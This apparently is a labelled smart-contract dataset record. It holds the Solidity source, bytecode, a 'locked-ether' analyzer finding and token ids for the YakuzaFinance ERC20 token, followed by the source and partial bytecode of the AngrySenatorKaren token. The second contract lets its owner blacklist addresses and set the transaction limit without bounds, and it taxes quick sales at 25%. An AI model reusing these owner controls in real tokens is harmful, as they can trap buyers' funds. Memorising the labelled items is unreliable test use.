pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'YakuzaFinance' token contract // // Deployed to : 0xd03B3DeE2Edc6b57C63875D534b8B725349A7c00 // Symbol : YFKZ // Name : Yakuza Finance // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract YakuzaFinance is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "YFKZ"; name = "Yakuza Finance"; decimals = 18; _totalSupply = 10000000000000000000000; balances[0xd03B3DeE2Edc6b57C63875D534b8B725349A7c00] = _totalSupply; emit Transfer(address(0), 0xd03B3DeE2Edc6b57C63875D534b8B725349A7c00, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582035961d8bf42cc0febb8169eec116e3a6a281977980abfabaaa33e9b5f76d9e800029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 12740, 16086, 2497, 2683, 22610, 16048, 2549, 2050, 2475, 4215, 2094, 22025, 2278, 26976, 2683, 18139, 2575, 2546, 16932, 2497, 2683, 2475, 2063, 16086, 2094, 2581, 2094, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 8038, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,733
0x9740bb6dfBe018F9453368831519F469bf1E7c71
/** * * Telegram https://t.me/AngrySenatorKaren * * SPDX-License-Identifier: Unlicensed * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AngrySenatorKaren is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Angry Senator Karen"; string private constant _symbol = "AngryKaren"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x26B292ee2d63d4ab4a4b522DabB4c4C8d51fbCAf); _feeAddrWallet2 = payable(0x26B292ee2d63d4ab4a4b522DabB4c4C8d51fbCAf); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function originalPurchase(address account) public view returns (uint256) { return _buyMap[account]; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() { _maxTxAmount = maxTransactionAmount; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isBuy(from)) { // TAX SELLERS 25% WHO SELL WITHIN 24 HOURS if (_buyMap[from] != 0 && (_buyMap[from] + (24 hours) >= block.timestamp)) { _feeAddr1 = 1; _feeAddr2 = 25; } else { _feeAddr1 = 1; _feeAddr2 = 8; } } else { if (_buyMap[to] == 0) { _buyMap[to] = block.timestamp; } _feeAddr1 = 1; _feeAddr2 = 8; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10 ** 9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c2d0ffca1161006f578063c2d0ffca14610341578063c3c8cd8014610361578063c9567bf914610376578063cc653b441461038b578063dd62ed3e146103c1578063ff8726021461040757600080fd5b80638da5cb5b146102a657806395d89b41146102ce578063a9059cbb14610301578063b515566a14610321578063bc3371821461034157600080fd5b8063313ce567116100f2578063313ce567146102205780635932ead11461023c5780636fc3eaec1461025c57806370a0823114610271578063715018a61461029157600080fd5b806306fdde031461013a578063095ea7b31461018857806318160ddd146101b857806323b872dd146101de578063273123b7146101fe57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152601381527220b733b93c9029b2b730ba37b91025b0b932b760691b60208201525b60405161017f919061195c565b60405180910390f35b34801561019457600080fd5b506101a86101a33660046117ed565b61041c565b604051901515815260200161017f565b3480156101c457600080fd5b50683635c9adc5dea000005b60405190815260200161017f565b3480156101ea57600080fd5b506101a86101f93660046117ad565b610433565b34801561020a57600080fd5b5061021e61021936600461173d565b61049c565b005b34801561022c57600080fd5b506040516009815260200161017f565b34801561024857600080fd5b5061021e6102573660046118df565b6104f0565b34801561026857600080fd5b5061021e610538565b34801561027d57600080fd5b506101d061028c36600461173d565b610565565b34801561029d57600080fd5b5061021e610587565b3480156102b257600080fd5b506000546040516001600160a01b03909116815260200161017f565b3480156102da57600080fd5b5060408051808201909152600a81526920b733b93ca5b0b932b760b11b6020820152610172565b34801561030d57600080fd5b506101a861031c3660046117ed565b6105fb565b34801561032d57600080fd5b5061021e61033c366004611818565b610608565b34801561034d57600080fd5b5061021e61035c366004611917565b6106ac565b34801561036d57600080fd5b5061021e6106db565b34801561038257600080fd5b5061021e610711565b34801561039757600080fd5b506101d06103a636600461173d565b6001600160a01b031660009081526004602052604090205490565b3480156103cd57600080fd5b506101d06103dc366004611775565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561041357600080fd5b5061021e610ad5565b6000610429338484610b0e565b5060015b92915050565b6000610440848484610c32565b610492843361048d85604051806060016040528060288152602001611b2d